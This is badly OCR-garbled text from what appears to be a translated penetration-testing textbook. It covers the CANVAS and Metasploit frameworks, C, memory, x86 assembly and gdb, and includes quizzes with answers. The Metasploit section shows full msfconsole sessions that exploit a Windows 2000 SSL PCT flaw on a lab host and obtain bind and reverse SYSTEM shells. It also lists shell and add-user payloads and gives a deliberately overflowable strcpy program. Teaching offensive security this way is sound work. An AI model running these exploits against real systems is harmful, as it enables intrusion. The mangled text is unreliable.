192.168.1.112 Windaws ¥ Mok awned

Covertnes:s Bar

As Cavert As Passhle

CANVAS

6.6

6.7

CANVAS

IP

OK
IMPACT

CANVAS
level 0 agent



immunity CANVAS (http:/Avww. imm)

mssghello

naimas3z

niprint:

P [ istener Shell

IRLs: [http: . micrasoft comftschnet securityfbullsti

A

>

Action  Helium  Listeners Logging  MetworkDump  Hasts

Lrrent Local 1P Adress: | 192.168.1.111

Hame Description . [VE Home: CAN-2003-0812
‘‘‘‘‘ S ate publtc: 09/18/2003
Isass LSASRY.DLL LSASS. EXE stack overflo
mdasmon [Oday] Mbaemon Stack Overflow <
ms03026 MSRPC Stack Overflow B i
msesntent 115 5.0 Cantent Server Stack Overflo

Scanning 192,

msmessenger MISRPC MESSENGER. Heap Overflow
msrpcheap [ALE

MSRPC Workstation attacking 192.168.1,112:13"

168.1.112 (done)

o [prowss) o]
[Broms) o]

il a0
oracleslistensr_win3z Ora —
paun Process (e
realserver Rea| -
stwebsupervsor  SLPT [se]
sslpet =51 |pwd (ks Current Working Directory) 8o
testsploit test|Piped Command dir o
utzon4secure ez ik o]
< a
ommand *dir* returned: * Yolume in drive D has no label.
exploitlog | debug information olume Serial Number is 624E-6FSF
tarting Up & win3Z Library Call client| pirectory of i}
one with Startup of Win32 LibraryC|
ot root? 3(01/2004 12:13PM  <DIR>  tooks
5{23[2004 05156 PM  <DIR>  SAFE_NT
oing a Listener-shell 5/23/2004 D607 PM <DIR>  Program Files
one handing & nev Listener ConnedDsj23{2004 08: 14 PM 177 boot.bak
ANYAS Exploit [1]: DCE Call Faled 1 Fiefs) byt
3Dirs) 7,555,129, 344 bytes free .

Host 5 Status

1921681112 Windows XP hiot owned

s Reliable as Posshle

|

Covertness Bar

s Covert As Possible

163

6.7

CANVAS

shellcode
CANVAS

shellcode

shellcode

CANVAS

shell

6.7

scanrand

CANVAS
CANVAS

code

Python

creat eW n32Shel | code( badstring, | ocal host, | ocal port)

creat eSpar cShel | code(sel f. badstring, | ocal host, | ocal port)

nyshel | code=shel | codeGenerator.|inux_X86()

CANVAS
shellcode
shellcode

shellcode

10

6.7

shellcode
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CANVAS
CANVAS
CANVAS

DaveAite

DCE RPC
NTLM MS RPC
Windows

CANVAS
IMPACT GTK

CANVAS

Python

[1]
[2]

CANVAS Homepage

$995
ImmunitySec
NetBIOS
uuID SMB
GUI
Windows  Linux
shellcode

WWW.i mmunitysec.com/products-canvas.shtml
The Daily Dave Information Security Mailing List, Hosted by Immunity Security

http://lists.immunitysec.com/mail man/listinfo/dailydave

6.2.3 Metasploit

M etasploit
Windows NT MS03-026 Metasploit
30
M etasploit
Metasploit ~ GPL
Metasploit
M etasploit www.metasploit.org
Windows Cygwin Windows

2003
Windows XP Windows 2000
CANVAS |IMPACT

33
5~7
Artistic License
M etasploit

Unix  Windows

Unix



Metasploit Windows exe

Unix tarball 2.2

tar -xzvf framework-2.x.tar.gz

165

“ extras’
Metasploit
: N
Metasploit 3 msfconsole
msfcli
msfweb
55555 Web
msfweb
% ./ msf consol e
/] | — =l

/ \_/ _\ N\ NN |7 \

| YY N /| | /__NA__\N]| |>> | [

[ ) 2 W S SN/ — ——A — R

\/ \/ V2.2 \/ \VaN .
+ -- --=[ mefconsole v2.2 [30 exploits - 33 payl oads]
msf >
show <exploits | payl oads>
info <exploit | payl oad> <nane>
use <expl oit-nanme>
help

msf > show exploits
Met aspl oit Framewor k Loaded Exploits

Credits Metaspl oit Framework Credits

af p_| ogi next Appl eFi | eServer Logi nExt PathName Buffer Overflow
apache_chunked_wi n32 Apache W n32 Chunked Encodi ng

bl acki ce_pam i cq 1SS PAMdI | 1CQ Parser Buffer Overflow
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di st cc_exec
exchange2000_xexch50
front page_f p30r eg_chunked
i a_webnai
iis50_nsiislog_post
iis50_printer_overflow
i i s50_webdav_ntdl
imail_| dap

| sass_ns04_011

mercant ec_softcart
nmsrpc_dcom ns03_026
nmssql 2000_r esol uti on
popt op_negati ve_r ead
real server_descri be_l i nux
sanba_nttrans

sanba_t rans2open

sanbar 6_search_results
servu_ndt m overf | ow
snb_sniffer

sol ari s_sadmi nd_exec
squi d_ntl mauthenticate
svnserve_date

ut 2004_secure_l i nux

ut 2004_secur e_wi n32

war ft pd_165_pass

wi ndows_ssl _pct

msf > show payl oads

Di st CC Daenon Conmand Execution
Exchange 2000 MS03-46 Heap Overflow
Front page fp30reg.dl| Chunked Encoding

I A WebMai | 3.x Buffer Overflow

11S 5.0 nsiislog.dl| POST Overflow

11S 5.0 Printer Buffer Overflow

11'S 5.0 WebDAV ntdll.dll Overfl ow

I Mai | LDAP Service Buffer Overfl ow

M crosoft LSASS MSO4- 011 Overfl ow
Mercantec SoftCart CA overflow

M crosoft RPC DCOM MSOB- 026

MSSQL 2000 Resol ution Overflow

Popt op Negative Read Overflow

Real Server Describe Buffer Overflow
Sanba Fragment Reassenbly Overfl ow
Sanba trans2open Overfl ow

Sanbar 6 Search Results Buffer Overflow
Serv-U FTPD MDTM Over f | ow

SMB Password Capture Service

Sol ari s sadmi nd Command Execution

Squi d NTLM Aut henticate Overfl ow
Subversion Date Svnserve

Unreal Tournanent 2004 "secure" Overflow (Linux)
Unreal Tournanent 2004 "secure" Overflow (W n32)
War - FTPD 1. 65 PASS Overfl ow

W ndows SSL PCT Overfl ow

Met aspl oit Franework Loaded Payl oads

bsdi x86_bi nd
bsdi x86_f i ndsock
bsdi x86_reverse
bsdx86_bi nd
bsdx86_f i ndsock
bsdx86_reverse
cnd_generic
crmd_sol _bi nd
cmd_uni X_r ever se
crmd_uni X_r ever se_nss
I'i nx86_bi nd

i nx86_f i ndrecv
i nx86_f i ndsock
i nx86_reverse

BSDI Bi nd Shel

BSDI SrcPort Findsock Shel

BSDI Reverse Shel

BSD Bi nd Shel

BSD Srcport Fi ndsock Shel

BSD Reverse Shel

Arbitrary Comrand

Sol aris Inetd Bind Shell Comrand

Uni x Tel net Piping Reverse Shell Command
Uni x Spacel ess Tel net Piping Reverse Shell Command
Li nux Bi nd Shel

Li nux Recv Tag Fi ndsock Shel

Li nux SrcPort Findsock Shel

Li nux Reverse Shel



i nx86_reverse_inpurity Li nux Reverse Inpurity Upl oad/ Execute
osx_bi nd MacOs X Bi nd Shel |
osx_reverse MacOS X Reverse Shel |
sol x86_bi nd Sol ari s Bind Shell
sol x86_fi ndsock Sol aris SrcPort Findsock Shell
sol x86_rever se Sol ari s Reverse Shell
wi n32_adduser W ndows Execute net user /ADD
wi n32_bi nd W ndows Bi nd Shell
wi n32_bi nd_dI I'i nj ect W ndows Bind DLL Inject
wi n32_bi nd_stg W ndows Staged Bi nd Shell
wi n32_bi nd_st g_upexec W ndows Staged Bi nd Upl oad/ Execut e
wi n32_bi nd_vnci nj ect W ndows Bi nd VNC Server DLL Inject
wi n32_exec W ndows Execute Command
Wi n32_reverse W ndows Reverse Shell
wi n32_reverse_dl |inject W ndows Reverse DLL Inject
wi n32_reverse_stg W ndows Staged Reverse Shell
wi n32_reverse_stg_ie W ndows Reverse |nlineEgg Stager
wi n32_rever se_st g_upexec W ndows Staged Reverse Upl oad/ Execute
wi n32_rever se_vnci nj ect W ndows Reverse VNC Server DLL Inject
nsf >
shell
Windows

msf > use wi ndows_ssl _pct
nmsf w ndows_ssl _pct >

windows ssl_pct
back

nmsf w ndows_ssl _pct > back
nsf > use wi ndows_ssl _pct
msf w ndows_ssl _pct >

msf w ndows_ssl _pct > show targets

Supported Exploit Targets
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W ndows 2000 SP4
W ndows 2000 SP3
W ndows 2000 SP2
W ndows 2000 SP1
W ndows 2000 SPO
W ndows XP SPO

W ndows XP SP1

Debuggi ng Tar get

~No o~ WNEO

msf w ndows_ssl _pct > set TARGET 0
TARGET -> 0

set <OPTI ON- NAME> <opti on>

Linux Windows

nsf w ndows_ssl _pct > show payl oads

Met aspl oit Franewor k Usabl e Payl oads

wi n32_bi nd W ndows Bi nd Shel |

wi n32_bind_dl l'i nj ect W ndows Bind DLL I nject

wi n32_bind_stg W ndows Staged Bi nd Shel |

wi n32_bi nd_st g_upexec W ndows St aged Bi nd Upl oad/ Execut e

wi n32_bi nd_vnci nj ect W ndows Bi nd VNC Server DLL Inject

W n32_reverse W ndows Reverse Shell

wi n32_reverse_dllinject Wndows Reverse DLL Inject

wi n32_reverse_stg W ndows St aged Reverse Shell

Wi n32_reverse_stg_ie W ndows Reverse InlineEgg Stager

wi n32_reverse_stg_upexec W ndows Staged Reverse Upl oad/ Execute
wi n32_reverse_vncinject Wndows Reverse VNC Server DLL |nject

msf wi ndows_ssl _pct > set PAYLOAD wi n32_bi nd
PAYLQOAD -> wi n32_bhi nd
msf w ndows_ssl _pct (w n32_bind) >

Local System
shell M etasploit
windows sd_pct win32_bind

msf wi ndows_ssl _pct (wi n32_bind) > show options



Expl oit and Payl oad Options

Expl oit: Nanme Def aul t Description

optional PROTO raw The application protocol (raw or sntp)
requi red RHOST The target address

required RPORT 443 The target port

Payl oad: Name Def aul t Description

requi red LPORT 4444 Li stening port for bind shell

optional EXI TFUNC seh Exit techni que: "process", "thread", "seh"

Target: Wndows 2000 SP4

msf w ndows_ssl _pct(wi n32_bind) > set RHOST 192.168. 1. 101
RHOST -> 192.168. 1. 101

msf w ndows_ssl _pct (wi n32_bind) > exploit
*] Starting Bind Handl er.
Attenpting to exploit target Wndows 2000 SP4
Sendi ng 433 bytes to renote host.
Waiting for a response...
Got connection from 192.168. 1. 101: 4444

*

*

—_————
*
— e

*

M crosoft W ndows 2000 [ Version 5.00.2195]
(C Copyright 1985-2000 M crosoft Corp.

C.\ W NNT\ syst enB2>echo w00t
echo woOt
woOt

C.\ W NNT\ syst enB2>

netstat

% netstat -an | grep 444
tcp4 0 0 192.168.1.3.50979 192.168. 1. 101. 4444

C:\ W NNT\ syst enB2>exi t

exit

ACCaught ctrl-c, exit connection? [y/n] y
[*] Exiting Bind Handl er.

ESTABLI SHED
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msf w ndows_ssl _pct (wi n32_bi nd) > show payl oads

Met aspl oit Franewor k Usabl e Payl oads

wi n32_bi nd W ndows Bi nd Shel |

wi n32_bi nd_dl l'i nj ect W ndows Bind DLL I nject

wi n32_bind_stg W ndows St aged Bi nd Shell

wi n32_bi nd_st g_upexec W ndows St aged Bi nd Upl oad/ Execut e

wi n32_bi nd_vnci nj ect W ndows Bind VNC Server DLL Inject

W n32_reverse W ndows Reverse Shell

wi n32_reverse_dl |linject W ndows Reverse DLL I nject

wi n32_reverse_stg W ndows Staged Reverse Shell

Wi n32_reverse_stg_ie W ndows Reverse InlineEgg Stager

Wi n32_reverse_stg_upexec W ndows St aged Reverse Upl oad/ Execute
Wi n32_reverse_vnci nj ect W ndows Reverse VNC Server DLL Inject

windows sd_pct

msf wi ndows_ssl _pct (wi n32_bi nd) > set PAYLOAD w n32_reverse
PAYLOAD - > wi n32_reverse
msf w ndows_ssl _pct (wi n32_reverse) > show options

Expl oit and Payl oad Options

Exploit: Name Def aul t Descri ption

optional PROTO raw The application protocol (raw or sntp)
required RHOST 192.168.1.101 The target address

required RPORT 443 The target port

Payl oad: Nane Def aul t Description

required LPORT 4321 Local port to receive connection

optional EXI TFUNC seh Exit techni que: "process", "thread", "seh"
requi red LHOST Local address to receive connection

Target: Wndows 2000 SP4

msf w ndows_ssl _pct(wi n32_reverse) >

msf w ndows_ssl _pct (wi n32_reverse) > set LHOST 192.168.1.3
LHOST -> 192.168.1.3

nmsf w ndows_ssl _pct(w n32_reverse) > set LPORT 443

LPORT -> 443
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443 Core IMPACT

Web HTTPS windows sd_pct

80 443 Web
TCP 80 443
TCP 443 Web
Metasploit 443

443
443

root sudo Administrator

f wi ndows_ssl _pct(wi n32_reverse) > exploit

[*] Starting Reverse Handl er.

[*] Attenpting to exploit target Wndows 2000 SP4
[*] Sending 413 bytes to renote host.

[*] Waiting for a response...

[*] Got connection from 192.168.1.101: 1316

M crosoft W ndows 2000 [ Version 5.00.2195]
(C) Copyright 1985-2000 M crosoft Corp.

C.\ W NNT\ syst enB2>echo w00t
echo woOt
woOt

C.\ W NNT\ syst en832>

netstat
% netstat -an | grep ESTAB
tcpa 0 0 192.168.1.3.443 192.168.1.101.1316  ESTABLI SHED
M etasploit
Metasploit
M etasploit
M etasploit “ ”

windows sd_pct
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msf wi ndows_ssl _pct (wi n32_reverse) > save
Saved configuration to: /Users/ne/.nsf/config
nsf w ndows_ssl _pct(wi n32_reverse) > exit

% ./ msf consol e

msf > use wi ndows_ssl _pct

msf w ndows_ssl _pct (wi n32_reverse) > set
LHOST: 192.168.1.3

LPORT: 443

PAYLOAD: w n32_reverse

RHOST: 192.168. 1. 101

TARGET: 0

~/.msf/config
msfconsole

Usi ng Ter m : ReadLi ne: : Stub, | suggest installing somethingbetter (ie Term : ReadLi ne: : Ghu)

Mac OS X Linux
Perl
QUICKSTART.tabcompletion

To enabl e tab-conpletion on standard Uni x systens, sinply install the
Ter m : ReadLi ne: : Gau perl nodule. This nodul e can be found at
http://search.cpan.org as well as the "extras" subdirectory of this
package. To install this nopdul e:

# cd extras

# tar -zxf Term ReadLi ne-Giu-1.14.tar.gz
# cd Term ReadLi ne-Ghu-1. 14

# perl Makefile.PL & nmake && neke install
# cd .. & rm-rf Term ReadLi ne- Ghu-1. 14

Os X perl Makefile.PL GNU
Readline ftp://ftp.gnu.org/gnu/readline
Readline Readline Metasploit

Tab Metasploit



Metasploit
Metasploit
Web
docs Metasploit
shellcode
Metasploit

[1] Metasploit Homepage

[2] Metasploit Slides from BlackHat 2004

6.3

e Python

U] Python

e Python
e Python
e Python
e Python {
U] open (' filename’, ' r ")
e CoreIMPACT
U] Core IMPACT
® Immunity CANVAS
80
e Canvas
* Metasploit

* Metasploit 30

}

www.metasploit.com/

Metasploit
http://metasploit.com/bh/
Python
Python
Linux  Windows
Windows  Unix
33
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6.3.1

6.3.2

Python
"abcdcba’' .split('d")
A. 1 d B. 3 d
C. "abc’ D. ['abc’, ' cha’]

Python
listl = ['a,'b,'c,"'d] listl.pop() listl.pop() listl.extend[’ e’]
A.[cde] B.[d,b,e] C.[€/a,b] D.[c,d,a, b €]

Python
"abcdef ' [-2:]
A€ B. b C.ay D. 'ef

Windows
A. Metasploit B. CANVAS C.IMPACT D. Python
A. Metasploit B. CANVAS C.IMPACT D. Python
A. Metasploit B. CANVAS C.IMPACT D. Python
A. Metasploit B. CANVAS C.IMPACT
shell Metasploit

A. winexec B. winbind C. winreverse D. winadduser
D ‘abcdcba d

split() split D A



2. B

['a,’b",’c’,’d] ->["a,'b,"¢c']

A C D
3.D*" " [-2:]

e
C
4. C CoreIMPACT Windows
GUI

CANVAS  Python Windows

5 C Core IMPACT

Metasploit  CANVAS
Python
6. B ImmunitySec CANVAS

7. A Metasploit

Metasploit

8. C winreverse

winadduser

-> [’a’,

b ]

->['a,'b, e] (B)

A C
Python

winbind

Metasploit

winreverse
winexec

D
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Linux

Linux
Linux Shellcode
Windows




> gdb
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7.1

7.1.1



5.
6. Bug Thomas Edison
Grace Hopper 1945 Harvard Mark |1
Bug debugging
Bug
®
;{3
°
Bug
Bug
Administrator  root
7.
8.
Bug
7.1.2

179
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1.

2.

3.

4,

5.

6. /

7.

8.

9.

10.

11. /
12.

Wake up ()

Visit the bathroom ( )
Get dressed ()
Prepare to leave ( )
Leave ( )

0

Prepare to leave ( ){
Eat breakfast ( )

Until it is tine to | eave {
Watch news ( )

}
Grab keys and wal let ()
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{}
Eat breakfast()
Eat breakfast ( ){
Choose a brand of cereal ()
Prepare a bow of cereal ()
Gab a large spoon ( )
Eat the bowl of cereal ()
7.1.3 VS.
VS.
/ “ ”
Bug
13 / ”
VS. VS.

VS.
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VS.

[1] GraceHopper Biography  www.history.navy.mil/photos/pers-us/uspers-h/

g-hoppr.htm
[2] Explanation of pseudo-code  www.cs.iit.edu/~cs561/cs105/pseudocodel/
header.html
7.2 C
C AT&T Bell Labs DennisRitchie 1972 Unix
C
7.2.1 C
C
main()



main()

7.1

> i n( <

>) A

main()

> main(int argc, char * argv[]){

argc

argv

main()

>){

sizeof()

183
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int
float
double
char

314 -314 32 4 16
-3.234 4

“ dn

7.1

X=X+1;

printf(<
printf(<

libc

7.2
\n

printf
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\n / printf("test\n");
%d printf(“test %d", 123);
%s printf("test %s', "123");
%X printf(“test %x", 0x123);
7.2 printf

scanf

scanf printf

scanf (< >, &< >),

printf
number

scanf (" %", &nunber);

& number
scanf &
ASCII
8
strcpy/strncpy
strepy C
strepy(< > < >);
\0
strncpy

strncpy(< > < > < >);
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strepy

strncpy

for  while

for

for(< > < > < >) {
< >}

for

for(i=0; i<10; i++){
printf("%", i);
}

09 10 \n 0123456789

for

for

while

- i 10
off-by-one

while

whi | e(< >) {

N
V

}

iflelse

iflelse
else if

else



if(< > {
< >} <el sex{
< >,
i x| I I*
*/ /* */
7.2.2
/1
/lhello.c /1
#i ncl ude <stdio. h> /1
main () { /1l main
printf("Hello haxor"); /1
} I
printf " Hello haxor " printf
stdio.h
/lmeet.c
#i ncl ude <stdio. h> /1
greeting(char *tenpl, char *tenp2){ /1 greeting hel | o
char nane[ 400] ; /1
strcpy(nane, tenp2); /1 name
printf("Hello % %\n", tenpl, nane); /1
}
mai n(int argc, char * argv[]){ /1
greeting(argv[1], argv[2]); /1
printf("Bye % %\n", argv[1], argv[2]); 11 "bye"
} I
greeting() “ Hdlo”
greeting() main() main “ By

e

187
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7.2.3 gcc
C Unix GNU C Compiler gcc gcc
7.3
-0 <filename>
a.out
-S .S
-ggdb GNU debugger gdb

-C

-mpreferred-stack-boundary=2

.0
DWORD

7.3 gcc

meet.c

$gcc -0 nmeet neet.c

$./ meet M Haxor
Hell o M Haxor
Bye M Haxor
$

[1] C Programming Methodology www.comp.nus.edu.sg/~hugh/TeachingStuff/

¢s1101c.pdf

[2] Introduction to C Programming www.le.ac.uk/cc/tutorials/c/

[3] How C Works

http://computer.howstuffworks.com/c.htm
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7.3
1 bit 1 0 4  bit “
" nibble 0000~-1111 16
0~-15 8 hit “ " byte
0~255 “ " word
0~65 535 13 ” 13
DWORD” 0~4 294 967 295
Random Access Memory RAM
741 w
7.3.1 RAM
RAM Random
Access RAM RAM
Intel x86 32
32 x86

4 294 967 295
7.3.2

Danny Cohen 1980 Swift Gulliver travels

Lilliput

”

kingdom of Blefuscu

“ Little Endian”
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“ Big Endian”
Intel Little Endian Motorola
Big Endian shellcode

7.3.3

Registers

7.3.4

section

ext

text text
segmentation fault

.bss

below stack section .bss

int a;

Offset



heap section
malloc() free()

int i = malloc (sizeof (int)); /1
/1
stack section
/
/ environment / arguments section
format string

text .data .bss é_’ 4_%

7.3.5

buffer

.data .bss

7.3.6

shell
buffer overflow

\0

191
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7.3.7
32 4
C
char * str; [/ 4 str str
/1
4
bss
int * pointl; // 4 point1l
I
*
pointl
printf("%l", *pointl);
* pointl printf()
7.3.8

/* menmory.c */ I

int index = 5; /1 .data

char * str; /1 . bss

i nt not hing; /1 . bss
void functl(int c){ /1 functl

int i=c; /1

str = (char*) malloc (10 * sizeof (char)); // 10

strncpy(str, "abcde", 5); /1 5 "abcde" str
} /1 functl
main (){ /1 main

funct1(1); /1 main 1 functl

} [/ main
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main 1 functl() functl() c
str 10 5 “ abcde’
str functl main()
[1] Smashing the Stack.., Aleph One  www.mindsec.com/files/p49-14.txt
[2] How Memory Works http://computer.howstuffworks.com/c23.htm
[3] Memory Concepts www.groar.org/expl/beginner/bufferl.txt
[4] Little-Endianvs. Big Endian  www.rdrop.com/~cary/html/endian_fag.html
7.4 Intel
Intel 74
Intel
8088 8086 16 1MB 64KB
80286 16 16MB 64KB 8088 8086
80386 32 32 4GB
80x86 486 Pentium Xenon
Itanium 64
7.4 Intel
80436 Intel Pentium Xeon

Itanium
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Intel 80x86 80x86
[ ]
([ ]
([ ]
7.4.1
8~32
4 32 7.5
EAX, EBX, ECX, EDX
AX, BX, CX, DX
AH,BH,CH,DH,AL ,BL,CL,DL 8
CS,SSDSESFS,GS 16
EBP
ESI
EDI
ESP
CPU
EFLAGS CPU
ZF zero flag
IF SF sign
EIP

7.5
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71.4.2 ALU

Arithmetic Logic Unit ALU
ALU

7.4.3

EIP
7.4.4

CPU

e |/O I/0

7.4.5

16~64

7.1

[1] x86 Registers www.mindsec.com/files/avoid.html# findex6
[2] History of Processors http://home.si.rr.com/mstoneman/pub/docs/
Processors%20H i story.rtf
[3] Processors www.cs.princeton.edu/courses/archive/fall99/cs318/Files/pc-arch.html
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B fras
15 0 Wi 57
s Tk 88
DS /|
ss fatifil e HELZE
ES
o 1/O4h ¥
R
GS
ALU
31 0
EFLAGS
EIP
WH A%
31 5 7 0
EAX AH AL AX
EBX BH BL BX
ECX CH | cL |ex
EDX DH | DL |DX
ESI sl e
EDI DI &
¥
EBP BP &
ESP SP i
7.1 Intel
7.5.1 VS. vs.C
0 1
1
0O 1 C
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7.5.2 AT&T vs. NASM
AT&T Intel AT&T GNU Assembler
gas gce Linux Intel

Netwide Assembler NASM NASM Windows
[ ]

> NASM : CMD <dest>, <source> <; comment>

>»AT&T : CMD <source>, <dest> <# comment>
o AT&T % NASM
o AT&T $ NASM
o AT&T NASM

NASM AT&T

< > < > < > < >
mov
mov
NASM NASM AT&T
mov <dest>, <source> mov eax, 51h ;comment movl $51h, %eax #comment
nmov eax, 1234h ; 1234 EAX
nmov cs, ax ; AX CS
add sub

add sub
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NASM
add <dest>, <source>

sub <dest>, <source>

push  pop
push  pop
NASM
push <value>
pop <dest>
Xor
Xxor

XOR value, value

NASM

xor <dest>, <source>

jne je jz jnz jmp
jne je jz jnz jmp
“ ” 0 jnejnz
jmp
NASM

jnz <dest>/ jne <dest>
jz <dest> /je <dest>
jmp <dest>

call ret

call
cal

NASM
call <dest>
ret

NASM
add eax, 51h
sub eax, 51h

NASM
push eax

pop €ax

XOR

NASM

XOr eax, eax

NASM
jne start
jz loop

jmp end

NASM
call subroutine 1
ret

AT&T
addl $51h, %eax
subl $51h, %eax

AT&T
pushl %eax

popl %eeax

11111111 XOR 11111111 = 00000000

AT&T

Xor %eax, Yoeax

” 1 jeljz

AT&T
jne start
jz loop

jmp end

ret

AT&T
call subroutine 1
ret
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inc dec
inc dec 1
NASM NASM AT&T
inc <dest> inc eax incl %eax
dec <dest> dec eax decl %eax
lea
lea
NASM NASM AT&T
lea <dest>, <source> leaeax, [ds +4] leal 4(%dsi), Yoeax
int
int 0x80
NASM NASM AT&T
int <val> int 0x80 int $0x80
7.5.3
7.6
NASM
mov ebx, edx
add a, ch
h mov eax, 1234h
mov dx, 301
mov bh, 100
mov[4321h],bh
mov [di],ecx

7.6
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NASM
ebx ebp mov edx, 20 [ebx]
edi ed mov ecx,20[esl]
mov ax, [bx][si]+ 1
7.6
7.5.4

e .model .model data .text
e stack .stack
e data .data
e .text .text

“ Héllo, haxor!”
section .data ;
msg db "Hello, haxor!", Oxa ;
len equ $ - nsg ; $
section .text

; ELF
gl obal _start; ; _start
_start:

; st dout
mov edx, | en ;
nov ecx, Nsg ;
mov ebx, 1 ; st dout
nmov eax, 4 ; 4 = sys_ wite
int 0x80 ;
nmov ebx, O
nmov eax, 1 1 = sys_exit
i nt 0x80
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7.5.5

$ nasm-f elf hello.asm
$ Id -s -0 hello hello.o

$ ./hello
Hel | o, haxor!

[1] Art of Assembly Language Programming  http://webster.cs.ucr.edu/
[2] Notesonx86Assembly  www.ccntech.com/code/x86asm.txt
[3] AT&T Assembly Syntax  http://sig9.com/articles/index.php?section=asm& aid=19

7.6 gdb

Unix C gdb gdb

gdb

7.6.1 gdb

7.7 gdb

b

b *mem

info b

deleteb

run <args> gdb

7.7 gdb
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up/down
print var var
print /x $<reg>

XINTA N

quit gdb

main

7.7 gdb

$gcc —ggdb —npref erred- st ack- boundar y=2

$gdb neet
G\U gdb 5. 3-debi an

Copyri ght 2002 Free Software Foundati on,
GDBis free software, covered by the GNU Gener al
wel come to change it and/or distribute copies of

condi tions.

—0 neet neet.c

I nc.
Publ i c License, and you are
it under certain

Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.
This GDB was configured as "i386-1inux"...

(gdb) run M Haxor

Starting program /hone/aahar per/book/ neet

Hell o M Haxor
Bye M Haxor

Program exited with code 015.

(gdb) b main
Breakpoint 1 at 0x8048393:
(gdb) run M Haxor

Starting program /hone/aahar per/book/ neet

file neet.c,

Type "show warranty" for details.

M Haxor

line 9.

M Haxor
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Breakpoint 1, nmin (argc=3, argv=0xbffffbed4) at neet.c:9
9 greeting(argv([1],argv[2]);
(gdb) n
Hel lo M Haxor
10 printf("Bye % %\n", argv[1l], argv[2]);
(gdb) n
Bye M Haxor
11 }

(gdb) p argv[1]

$1 = Oxbffffdo6 "Mm"

(gdb) p argv[2]

$2 = Oxbffffd09 "Haxor"

(gdb) p argc

$3 =3

(gdb) info b

Num Type Di sp Enb Address What

1 breakpoint keep y 0x08048393 in main at neet.c:9
breakpoi nt already hit 1 tine

(gdb) info reg

eax Oxd 13

ecx 0x0 0

edx Oxd 13

ebx 0x4012b020 1074966560
esp Oxbf fffb88 Oxbf fffb88
ebp Oxbffffb88 Oxbf fffb88
esi 0x400098bc 1073780924
edi Oxbf fffbed -1073742876
eip 0x80483c8 0x80483c8
ef | ags 0x396 918

cs 0x23 35

SS 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x0 0

fectrl 0x37f 895

fstat 0x0 0

ftag Oxffff 65535

fiseg 0x0 0

fioff 0x0 0

f oseg 0x0 0

f oof f 0x0 0

fop 0x0 0

nmxcsr 0x1f80 8064

ori g_eax Oxffffffff -1
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(gdb) quit
A debuggi ng session is active.
Do you still want to close the debugger?(y or n) y
$
7.6.2 gdb
gdb

set disassenbly-flavor <intel/att>
di sassenbl e <functi on nanme>

$gdb neet

Intel

NASM

G\U gdb 5. 3-debi an
Copyright 2002 Free Software Foundation, Inc.
GBis free software, covered by the GNU General Public License, and you are

wel come to change it and/or distribute copies of

condi tions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.

AT&T

main()

This GDB was configured as "i386-1inux"...
(gdb) di sassenbl e greeting
Dunmp of assenbler code for function greeting:

0x804835c
0x804835d
0x804835f

0x8048365
0x8048368
0x804836e
0x804836f

0x8048374
0x8048377
0x804837d
0x804837e
0x8048381
0x8048386
0x804838b
0x804838e
0x804838f

<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti
<greeti

ng>:

ng+1>:
ng+3>:
ng+9>:

ng+12>:
ng+18>:
ng+19>:
ng+24>:
ng+27>:
ng+33>:
ng+34>:
ng+37>:
ng+42>:
ng+47>:
ng+50>:
ng+51>:

End of assenbl er dunp.
(gdb) set disassenbly-flavor

push

nov
sub
pushl

%ebp

%esp, Yebp
$0x190, %esp

Oxc(%ebp)
| ea oxfffffe70(%bp), Y%eax
push % ax
cal | 0x804829c <strcpy>
add $0x8, Y%esp
| ea oxfffffe70(%bp), Yeax
push % ax
pushl  0x8( %ebp)
push  $0x8048418
cal | 0x804828c <printf>
add $0xc, Yesp
| eave
ret

intel

gdb
greeting

it under certain

AT&T

Type "show warranty" for details.
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(gdb) di sassenbl e greeting

Dunp of assenbler code for function greeting:
0x804835¢c <greeting>: push ebp

0x804835d <greeting+l> nov ebp, esp

0x804835f <greeting+3>: sub esp, 0x190
0x8048365 <greeting+9>: push DWORD PTR [ ebp+12]

0x8048368 <greeting+12>: | ea eax, [ ebp-400]
0x804836e <greeting+18>: push eax

0x804836f <greeting+19>: call 0x804829c <strcpy>
0x8048374 <greeting+24>: add esp, 0x8

0x8048377 <greeting+27>: | ea eax, [ ebp- 400]
0x804837d <greeting+33>: push eax

0x804837e <greeting+34>: push DWORD PTR [ ebp+8]
0x8048381 <greeting+37>: push 0x8048418
0x8048386 <greeting+42>: call 0x804828¢c <printf>
0x804838b <greeti ng+47>: add esp, Oxc

0x804838e <greeti ng+50>: | eave o0
0x804838f <greeting+51>: ret

End of assenbl er dunmp.

(gdb) quit

$

[1] Debugging with NASM and gdb www.csee.umbc.edu/hel p/nasm/nasm.shtml
[2] Smashing the Stack.., Aleph One  www.mindsec.com/files/p49-14.txt

> main if/then
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®
> RAM Intel little Motorola big
> text, .data, .bss, ,

e |ntel
> Intel

1/10

>

®
> C
> AT&T NASM
>

U] gdb
>
> gdb AT&T NASM

7.7.1

1
A.single double int float B.int char double float
C.double buffer float int D.char array string int

2.
A. Intel
B. Intel
C. Intel
D. Intel

3.
A. EBP ESP B. EAX  EBX
C. EDI ES D. SS ES
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4, mov eax, 16h
A.AT&T 38 eax
B. NASM 16 eax
C.AT&T eax 0x16
D. NASM 22 eax
5. gdb

A. set disassemble - flavor <intel/att>  disassembly <function name>
B. disassembly - flavor set <intel/att>  disassembly <function name>
C. set disassembly - flavor <intel/att>  disassemble <function name>
D. set disassemble - flavor <intel/att>  disassemble <function name>

A. gcc -0 outputname inputname.c

B. gce -d outputname inputname.c

C. gcc -l links -S simplename -0 outputname. o
D. gcc -c inputname.c -0 outputname.c

7.
A.
B.
C.
D.

8. gdb
A. print esp B. inforeg esp
C.bt up down D. print stack info

71.7.2
1. B int char double float C C D

A single
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2. D Intel
A B C
3. A EBP ESP
4, D mov eax, 16h NASM 22
eax 16h 22 mov NASM AT&T
5 C gdb

set disassenbly - flavor <intel/att>

di sassenbl e <functi on nane>
6. A
gcc -0 out put nane i nputnane. c

-0 outputname
aout

8. C bt up down
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v v v v

m eetc

m eetc

esp
ped

Lhux
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8.1
8.1.1
firstinlast out FILO
8.1.2
push PUSH
pop POP
Stack
extended base pointer
ebp extended stack pointer esp 8.1 ebp
esp
47
ESP EBP
0x11111111 Ox(fffffffO
8.1 ebp eyp
8.1.3

main
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0x8048393
0x8048396
0x8048399
0x804839b
0x804839e
